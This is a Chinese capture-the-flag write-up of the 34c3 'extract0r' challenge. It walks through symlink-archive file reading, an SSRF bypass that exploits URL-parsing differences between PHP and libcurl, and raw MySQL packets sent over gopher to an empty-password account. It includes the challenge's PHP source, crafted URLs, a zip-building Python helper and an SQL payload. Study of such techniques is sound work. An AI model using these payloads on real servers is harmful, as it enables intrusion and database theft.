从一道CTF题目看Gopher攻击MySql


前言

虽然比赛过程中没做出来,结束后仔细研究了一下。感觉很有意思,分享给大家。再次体会到重要的不是结果,而是研究的过程。

题目简介

34c3CTF web中的extract0r。

题中的目是一个安全解压服务,用户输入zip的url地址,程序对url进行合法性校验后会下载该zip,然后为用户创建一个目录,把文件解压进去

0×00 任意文件读取

经过测试,发现输入的域名中不能含有数字,并且压缩文件中不能含有目录,解压后的目录不解析php。通过上传一个含有符号链接文件的压缩包,可以达到任意文件读取的效果。

ln -s ../index.php test_link  7za a -t7z -r test.7z test

上传后访问test_link得到源代码

index.php (html部分已删去)

<?php  session_start();  url.php  function get_directory($new=false) {      if (!isset($_SESSION["directory"]) || $new) {          $_SESSION["directory"] = "files/" . sha1(random_bytes(100));      }      $directory = $_SESSION["directory"];      if (!is_dir($directory)) {          mkdir($directory);      }      return $directory;  }    function clear_directory() {      $dir = get_directory();      $files = glob($dir . '/*');       foreach($files as $file) {           if(is_file($file) || is_link($file)) {              unlink($file);           } else if (is_dir($file)) {              rmdir($file);          }      }  }    function verify_archive($path) {      $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");      $line = strtok($res, "/n");      $file_cnt = 0;      $total_size = 0;        while ($line !== false) {          preg_match("/^Size = ([0-9]+)/", $line, $m);          if ($m) {              $file_cnt++;              $total_size += (int)$m[1];          }          $line = strtok( "/n" );      }        if ($total_size === 0) {          return "Archive's size 0 not supported";      }        if ($total_size > 1024*10) {          return "Archive's total uncompressed size exceeds 10KB";      }        if ($file_cnt === 0) {          return "Archive is empty";      }        if ($file_cnt > 5) {          return "Archive contains more than 5 files";      }        return 0;  }    function verify_extracted($directory) {      //遍历解压后的目录下的所有文件      $files = glob($directory . '/*');       $cntr = 0;      foreach($files as $file) {          if (!is_file($file)) {              //如果不是文件就删除              $cntr++;              unlink($file);              @rmdir($file);          }      }      return $cntr;  }    function decompress($s) {      $directory = get_directory(true);      $archive =  tempnam("/tmp/", "archive_");        file_put_contents($archive, $s);      $error = verify_archive($archive);      if ($error) {          unlink($archive);          error($error);      }        shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");      unlink($archive);        return verify_extracted($directory);  }    function error($s) {      clear_directory();      die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));  }    $msg = "";  if (isset($_GET["url"])) {      $page =  get_contents($_GET["url"]);        if (strlen($page) === 0) {          error("0 bytes fetched. Looks like your file is empty.");      } else {          $deleted_dirs = decompress($page);          $msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";            if ($deleted_dirs > 0) {              $msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";          }      }  }  ?>  

url.php

<?php  function in_cidr($cidr, $ip) {      list($prefix, $mask) = explode("/", $cidr);        return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));  }    function get_port($url_parts) {      if (array_key_exists("port", $url_parts)) {          return $url_parts["port"];      } else if (array_key_exists("scheme", $url_parts)) {          return $url_parts["scheme"] === "https" ? 443 : 80;      } else {          return 80;      }  }    function clean_parts($parts) {      // oranges are not welcome here      $blacklisted = "/[ /x08/x09/x0a/x0b/x0c/x0d/x0e:/d]/";        if (array_key_exists("scheme", $parts)) {          $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);      }        if (array_key_exists("user", $parts)) {          $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);      }        if (array_key_exists("pass", $parts)) {          $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);      }        if (array_key_exists("host", $parts)) {          $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);      }        return $parts;  }    function rebuild_url($parts) {      $url = "";      $url .= $parts["scheme"] . "://";      $url .= !empty($parts["user"]) ? $parts["user"] : "";      $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";      $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";      $url .= $parts["host"];      $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";      $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";      $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";      $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";        return $url;  }    function get_contents($url) {      $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",          "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8",           "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",          "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24",           "198.51.100.0/24", "198.18.0.0/15",  "192.0.2.0/24", "100.64.0.0/10" ];        for ($i = 0; $i < 5; $i++) {          $url_parts = clean_parts(parse_url($url));            if (!$url_parts) {              error("Couldn't parse your url!");          }            if (!array_key_exists("scheme", $url_parts)) {              error("There was no scheme in your url!");          }            if (!array_key_exists("host", $url_parts)) {              error("There was no host in your url!");          }            $port = get_port($url_parts);          $host = $url_parts["host"];            $ip = gethostbynamel($host)[0];          if (!filter_var($ip, FILTER_VALIDATE_IP,               FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {              error("Couldn't resolve your host '{$host}' or                   the resolved ip '{$ip}' is blacklisted!");          }            foreach ($disallowed_cidrs as $cidr) {              if (in_cidr($cidr, $ip)) {                  error("That IP is in a blacklisted range ({$cidr})!");              }          }            // all good, rebuild url now          $url = rebuild_url($url_parts);            $curl = curl_init();          curl_setopt($curl, CURLOPT_URL, $url);          curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);          curl_setopt($curl, CURLOPT_MAXREDIRS, 0);          curl_setopt($curl, CURLOPT_TIMEOUT, 3);          curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);          curl_setopt($curl,CURLOPT_SAFE_UPLOAD,0);          curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一条缓存,防止dns rebinding          curl_setopt($curl, CURLOPT_PORT, $port);            $data = curl_exec($curl);            if (curl_error($curl)) {              error(curl_error($curl));          }            $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);          if ($status >= 301 and $status <= 308) {              $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);          } else {              return $data;          }        }        error("More than 5 redirects!");  }  

简要分析代码流程

从一道CTF题目看Gopher攻击MySql

经rebirth提醒,可以使用以.开头的文件来绕过verify_extracted中对链接目录的检测。ln -s / .a.a打包上传即可。这里是因为glob($dir . '/*');*遍历不到以.开头的文件。故绕过了对文件类型的检测,成功了链接到了根目录。

从一道CTF题目看Gopher攻击MySql

翻一翻目录会发现:/home/extract0r/create_a_backup_of_my_supersecret_flag.sh从一道CTF题目看Gopher攻击MySql

这里创建了一个空密码的mysql用户,并且flag就在数据库中。之前已经有利用gopher协议攻击redis、fastcgi等的案例。我们可以试着利用gopher攻击一下mysql。这里有两个要点

  1. 绕过ip检查,实现ssrf
  2. 研究mysql协议,构造payload

0×01 SSRF

通过代码逻辑我们可知

url->php parse_url(过滤ip)->过滤url各部分(空白字符和数字)->curl发送请求

这里可利用parse_urllibcurl对url解析的差异来绕过。经过测试,得出以下结论(我本地环境php 7.0.20-2 libcurl/7.52.1

完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]  这里仅讨论url中不含'?'的情况    php parse_url:  host: 匹配最后一个@后面符合格式的host    libcurl:  host:匹配第一个@后面符合格式的host    如:   http://u:[email protected]:[email protected]/  php解析结果:      schema: http       host: b.com      user: u      pass: [email protected]:80  libcurl解析结果:      schema: http      host: a.com      user: u      pass: p      port: 80      后面的@b.com/会被忽略掉  

那么我们可以构造出一个域名,让php解析出来的host是a.com,dns解析后ip不在黑名单,这样就绕过了黑名单检查。而libcurl实际请求时候是另外一个域名,这样我们就可以实现任意ip请求了。

fuzz一下后得到以下结果
http://u:p:@a.com:[email protected]/
http://u:@a.com:[email protected]/
都可以实现php解析出来是b.com 而curl实际请求a.com:3306

但此题目中php解析url后在clean_parts中过滤了空白字符和数字,所以以上url均不可用。 

题目作者给出的url是:gopher://[email protected][cafebabe.cf]@yolo.com:3306刚开始不太理解,后来@rebirth告诉我在rfc3986是这样定义url的:

A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets (“[” and “]“). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = “[” ( IPv6address / IPvFuture ) “]”
也就是说[ip]是一种host的形式,libcurl在解析时候认为[]包裹的是host

另外ricter大佬的gopher://[email protected]:[email protected]:3306/在题目环境中是可用的,我本地不可用(题目的libcurl版本比我本地高)

0×02 mysql协议分析

研究的目的是为了构造出gopher连接mysql的payload,mysql协议分为4.0之前和4.0之后两个版本,这里仅讨论4.0之后的协议,mysql交互过程:
从一道CTF题目看Gopher攻击MySql

MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。 

登录时需要用服务器发来的scramble加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client给server发的认证包就是相对固定的了。这样就无需交互,可以通过gopher协议来发送。 

mysql数据包前需要加一个四字节的包头。前三个字节代表包的长度,第四个字节代表包序,在一次完整的请求/响应交互过程中,用于保证消息顺序的正确,每次客户端发起请求时,序号值都会从0开始计算。

1. 握手初始化报文(服务器 -> 客户端)

从一道CTF题目看Gopher攻击MySql

具体到抓包数据

4C0000//包大小76 小端字节序  00//序号0   0A//版本号  352E372E31382D3100//版本信息字符串,以/0结尾,内容为5.7.18-1  04000000//服务器线程id  6B69457B3C342E43//scramble前半部分8字节  00//固定0x00  FFF7//服务器权能标志低16位 用于与客户端协商通讯方式  08//字符集,08代表utf-8  0200//服务器状态  FF81//服务器权能标志高16位  15//挑战串长度   00000000000000000000//10字节0x00 固定填充  3A6A02314D2661447951577F00//scramble后半部分12字节 以null结尾  6D7973716C5F6E61746976655F70617373776F726400//密码加密方式,内容为mysql_native_password 对高版本来说没什么用 无视即可  

2. 认证报文(客户端->服务器)

从一道CTF题目看Gopher攻击MySql

当用户密码为空时,认证包唯一的变量挑战认证数据为0×00(NULL),所以认证包就是固定的了,不需要根据server发来的初始化包来计算了
这里顺带提一下密码的算法为

hash1 = SHA1(password) //password是用户输入的密码  result = hash1 ^ sha1(scramble+sha1(hash1))  

3. 命令报文

命令报文相当简单

从一道CTF题目看Gopher攻击MySql

第一个字节表示当前命令的类型,比如0×02(切换数据库),0×03(SQL查询)后面的参数就是要执行的sql语句了。

4. 验证

经过分析,执行一句sql语句时,发送了两个packet(认证packet、命令packet) ,那么我们把两个packet一起发给server端,server就会响应给我们结果。 packet的构造参见上文协议格式,需要注意的是mysql协议是小端字节序。 

这里我用socket做一个简单的测试,使用的是无密码用户,发送的sql语句是select now();

从一道CTF题目看Gopher攻击MySql

那么在php下,使用libcurl请求也是一样的从一道CTF题目看Gopher攻击MySql

php的payload最后加了四个空字节,这是为了让server端解析第三个数据包时出错,断开与我们的连接。尽快返回数据,题目中curl的超时时间是3s

至此,我们完成了从gopher到sql执行。反观题目,这里需要curl得到的响应是可以被解压的。所以我们需要想办法把查出来的数据构造成压缩文件格式。

0×03 压缩文件格式

zip压缩算法压缩出来的文件一般包括四部分。

1.local file head  2.压缩后的Deflate数据  3.central directory file head  4.end of central directory record  

从一道CTF题目看Gopher攻击MySql

经过测试,7z是可以成功解压一个格式合法的压缩文件的,即使是文件CRC错误,部分字段异常。 

那么思路就来了,利用sql语句构造查询出zip的头和尾部,把我们想要的数据concat到中间的Deflate部分即可。(7z解压时候发现部分header异常,Deflate部分的数据会不经解压直接写入到解压后的文件) 

形如
select concat(zip_header,(the sql we want to execute), zip_eof)

针对zip具体的构造,不在赘述,参见zip算法详解 

这里我写了一个函数帮助我们创建

from struct import *  def create_zip(filename, content_size):      content = '-'*content_size      filename = pack('<%ds'%len(filename), filename)      content_len_b = pack('<I', len(content))      filename_len_b = pack('<H', len(filename))      local_file_header = b"/x50/x4b/x03/x04/x0a/x00"+"/x00"*12      local_file_header += content_len_b*2      local_file_header += filename_len_b      local_file_header += "/x00/x00"      local_file_header += filename      cd_file_header = b"/x50/x4b/x01/x02/x1e/x03/x0a/x00"+"/x00"*12+filename_len_b+"/x00"*16+filename      cd_file_header_len_b = pack("<I", len(cd_file_header))      offset = pack("<I",len(local_file_header+cd_file_header))      eof_record = b"/x50/x4b/x05/x06"+"/x00"*4+"/x01/x00"*2+cd_file_header_len_b+offset+"/x00/x00"      #return each party of zip      return [local_file_header,content,cd_file_header+eof_record]  

需要注意的是,zip的Deflate部分是保存文件压缩后的内容,zip格式又要求必须给出Deflate部分的大小。这里我们只需把查出数据保存在Deflate部分,并且根据查询结果的预期大小来指定Deflate部分的尺寸。 

比如查询select version()时候Deflate大小20就够了。 这里给出一个sql大家可以自行测试

select concat(cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary), rpad((select now()), 1000, '-'), cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)) into dumpfile '/tmp/test.zip';  

这里的1000就是Deflate数据部分占用大小。 至此我们也就完成了sql语句的构造,可以通过sql查出一个压缩包格式的数据。并且解压后的文件内容就是查询结果。 

那么梳理一下,先是通过符号链接,得到了一个没有密码的数据库用户。又通过parse_urllibcurl的解析差异,绕过了对ip的合法性校验,从而可以实现ssrf任意ip。又通过分析mysql协议,发现空密码用户可以直接构造出packet执行sql语句。最终我们只需要输入gopher://[email protected][cafebabe.cf]@yolo.com:3306/_+(发送给mysql的packet)+(四个空字节)就可以得到结果。

0×04 利用

为了方便,我写了一个简单的mysql client,测试与mysql 的通信并生成payload。

从一道CTF题目看Gopher攻击MySql

输入后:

从一道CTF题目看Gopher攻击MySql

有兴趣的可以连接自己的mysql,dump出packet

从一道CTF题目看Gopher攻击MySql

0×05 总结

这道题目融合了很多知识点,测试中还是学到不少东西。尤其是题目脚本中防dns rebindingb部分。感谢rebirth提供的帮助,和其讨论让我收益良多。

Reference:

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